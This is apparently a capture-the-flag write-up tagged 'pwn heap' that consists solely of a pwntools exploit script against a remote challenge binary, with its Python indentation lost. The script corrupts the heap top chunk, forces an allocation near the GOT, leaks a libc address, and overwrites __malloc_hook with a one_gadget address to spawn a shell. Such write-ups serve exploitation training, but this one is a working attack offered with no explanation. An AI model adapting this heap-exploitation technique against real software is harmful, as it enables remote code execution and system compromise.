Tags: pwn heap
Rating:
```
from pwn import *
#p = process('./chall')
p = remote('139.59.252.147',17011)
#pid = gdb.attach(p,gdbscript='''
# b * edit_profile
# ''')
def setup():
p.sendlineafter('username: ','aaa')
def create(name_size,name,content):
p.sendlineafter('#> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('Name: ',str(name))
p.sendlineafter('Content: ',str(content))
def edit_username(username):
p.sendlineafter('#> ','5')
p.sendlineafter('username: ',str(username))
def edit(index, name, content):
p.sendlineafter('#> ','3')
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Name: ',str(name))
p.sendlineafter('Content: ',str(content))
def feedback(size,content):
p.sendlineafter('#> ','6')
p.sendlineafter('size: ',str(size))
p.sendlineafter('Feedback: ',str(content))
def view(index):
p.sendlineafter('#> ','2')
p.sendlineafter('Index : ', str(index))
def exploit():
setup()
create(2,'aa','xD')
username_one = 'a' * 0x168
edit_username(username_one)
ffs = 10 - 7
overwrite_top = 'a'*(700 - 8*ffs)+'\xff\xff\xff\xff\xff\xff\xff\xff'
edit(0,overwrite_top,'aa')
feedback(-1340+160,"")
create(20,"\x00"*12 + p64(0x404008),'b')
create(12,'A'*12,'')
view(2)
p.recvuntil('AAAAAAAAAAAA')
leak = u64(p.recv(6).ljust(8,'\0'))
print "leaked libc == flag: ", hex(leak)
mhook_offset = 0x00000000003ebc30
strncpy_offset = 0x000000000009d980
one_gadget_1 = 0x4f3d5
one_gadget_2 = 0x4f432
one_gadget_3 = 0x10a41c
libc_base = leak - strncpy_offset - 0x189a0
malloc_hook = libc_base + mhook_offset
actual_1g = libc_base + one_gadget_2
print 'libc_base: '+hex(libc_base)
print 'malloc_hook: '+hex(malloc_hook)
print 'actual_1g: '+ hex(actual_1g)
edit_username(username_one)
edit('2',28*'A' + p64(actual_1g), '\x00'*100)
# edit_username('mamatijeata')
p.interactive()
exploit()
```